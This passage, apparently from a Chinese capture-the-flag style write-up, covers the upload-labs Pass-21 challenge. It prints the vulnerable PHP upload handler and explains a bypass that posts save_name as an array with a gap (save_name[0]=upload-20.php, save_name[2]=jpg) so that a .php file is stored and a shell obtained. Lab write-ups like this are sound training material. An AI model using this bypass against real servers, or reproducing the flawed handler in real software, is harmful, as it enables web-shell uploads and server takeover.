也能绕过
(不过版本问题,上传不成功)
Pass-21 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $is_upload = false ;$msg = null ;if (!empty ($_FILES ['upload_file' ])){ $allow_type = array ('image/jpeg' ,'image/png' ,'image/gif' ); if (!in_array ($_FILES ['upload_file' ]['type' ],$allow_type )){ $msg = "禁止上传该类型文件!" ; }else { $file = empty ($_POST ['save_name' ]) ? $_FILES ['upload_file' ]['name' ] : $_POST ['save_name' ]; if (!is_array ($file )) { $file = explode ('.' , strtolower ($file )); } $ext = end ($file ); $allow_suffix = array ('jpg' ,'png' ,'gif' ); if (!in_array ($ext , $allow_suffix )) { $msg = "禁止上传该后缀文件!" ; }else { $file_name = reset ($file ) . '.' . $file [count ($file ) - 1 ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } } } }else { $msg = "请选择要上传的文件!" ; }
注:
reset()
获取数组的第一个元素
end()
获取数组的最后一个元素
count()
获取数组或对象的元素数量(至关重要 )
分析源代码:
首先是MIME检测
继续运用三元运算符判断POST的参数是否为空
然后再判断是否为数组,若不为则根据点号分开(即让文件名和扩展名分别为数组的值)
接着将拓展名即$file[count($file) - 1]
与白名单对比
最后若合法则拼接路径
绕过条件比较难,不过可以利用POST传参数组
只需要让第一个值即save_name[0]=upload-20.php
(.php
是为了能被解析)
然后再让数组最后一个值为jpg
就能绕过
但是这里就有问题,为什么最后一个值jpg
不会拼接路径里呢
因在于这个拼接过程用的是count函数,如果数组有三位,但是有一位为空,最后count出来的数就为2,而非为3。
所以我们传参save_name[2]=jpg
,让save_name[1]为空即可
上传抓包
成功getshell